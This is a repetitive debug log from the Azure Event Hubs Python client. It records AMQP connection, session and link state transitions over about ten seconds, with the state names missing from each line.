+2026-03-13 03:19:24,837 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:24,837 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:24,837 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:24,837 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:24,837 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:24,838 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:24,838 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:24,838 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:24,838 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:24,838 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:24,838 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:24,838 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:24,838 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:25,062 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:25,169 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:25,169 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:25,169 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:25,169 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:25,169 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:25,169 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:25,169 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:25,169 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:25,222 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:25,272 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:25,323 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:25,373 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:25,373 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:25,424 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:25,424 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:25,628 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:25,681 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:25,792 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:25,792 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:25,792 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:25,792 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:25,792 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:25,793 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:25,793 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:25,793 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:25,793 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:25,793 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:25,793 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:25,793 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:25,793 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:25,793 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:26,010 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:26,111 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:26,111 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:26,111 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:26,112 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:26,112 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:26,112 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:26,112 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:26,112 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:26,161 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:26,212 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:26,262 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:26,312 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:26,313 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:26,363 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:26,363 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:26,565 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:26,615 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:26,727 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:26,727 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:26,727 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:26,727 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:26,727 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:26,727 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:26,727 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:26,727 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:26,727 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:26,727 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:26,727 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:26,728 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:26,728 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:26,728 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:26,962 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:27,078 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:27,078 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:27,078 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:27,078 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:27,078 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:27,078 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:27,078 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:27,078 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:27,135 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:27,186 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:27,236 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:27,287 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:27,287 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:27,337 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:27,337 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:27,547 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:27,605 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:27,720 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:27,720 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:27,720 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:27,720 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:27,720 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:27,720 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:27,721 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:27,721 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:27,721 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:27,721 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:27,721 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:27,721 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:27,721 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:27,721 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:27,954 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:28,062 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:28,063 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:28,063 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:28,063 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:28,063 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:28,063 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:28,063 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:28,063 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:28,116 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:28,167 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:28,217 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:28,267 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:28,267 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:28,318 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:28,318 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:28,523 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:28,578 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:28,689 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:28,689 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:28,689 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:28,689 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:28,689 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:28,689 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:28,689 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:28,689 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:28,689 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:28,689 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:28,689 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:28,689 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:28,689 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:28,689 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:28,930 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:29,048 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:29,048 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:29,049 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:29,049 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:29,049 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:29,049 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:29,049 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:29,049 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:29,107 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:29,157 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:29,208 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:29,258 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:29,258 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:29,309 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:29,309 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:29,519 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:29,579 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:29,697 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:29,697 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:29,697 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:29,697 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:29,697 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:29,697 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:29,697 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:29,697 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:29,697 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:29,697 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:29,697 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:29,697 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:29,697 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:29,698 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:29,942 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:30,059 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:30,059 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:30,059 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:30,059 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:30,060 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:30,060 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:30,060 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:30,060 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:30,117 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:30,168 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:30,218 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:30,268 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:30,268 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:30,319 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:30,319 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:30,546 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:30,605 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:30,720 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:30,720 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:30,720 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:30,720 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:30,720 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:30,720 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:30,721 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:30,721 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:30,721 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:30,721 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:30,721 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:30,721 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:30,721 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:30,721 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:30,953 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:31,061 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:31,061 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:31,061 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:31,061 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:31,061 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:31,061 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:31,062 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:31,062 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:31,115 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:31,165 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:31,216 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:31,266 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:31,266 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:31,316 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:31,317 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:31,522 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:31,577 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:31,691 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:31,691 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:31,691 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:31,691 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:31,691 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:31,691 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:31,691 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:31,691 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:31,691 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:31,692 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:31,692 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:31,692 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:31,692 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:31,692 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:31,920 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:32,027 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:32,027 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:32,027 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:32,027 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:32,027 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:32,027 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:32,027 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:32,027 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:32,080 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:32,130 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:32,181 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:32,231 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:32,231 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:32,282 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:32,282 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:32,486 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:32,540 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:32,651 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:32,651 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:32,651 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:32,652 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:32,652 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:32,652 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:32,652 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:32,652 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:32,652 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:32,652 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:32,652 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:32,652 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:32,652 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:32,652 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:32,866 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:32,967 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:32,967 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:32,967 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:32,967 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:32,967 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:32,967 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:32,967 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:32,967 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:33,017 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:33,067 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:33,117 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:33,168 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:33,168 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:33,218 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:33,218 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:33,420 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:33,471 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:33,577 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:33,577 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:33,577 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:33,577 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:33,578 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:33,578 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:33,578 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:33,578 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:33,578 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:33,578 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:33,578 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:33,578 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:33,578 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:33,578 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:33,812 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:33,928 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:33,928 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:33,928 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:33,928 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:33,928 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:33,928 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:33,929 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:33,929 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:33,986 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:34,036 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:34,086 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:34,137 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:34,137 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:34,187 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:34,188 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:34,396 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:34,455 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:34,570 [azure.eventhub._pyamqp.link] 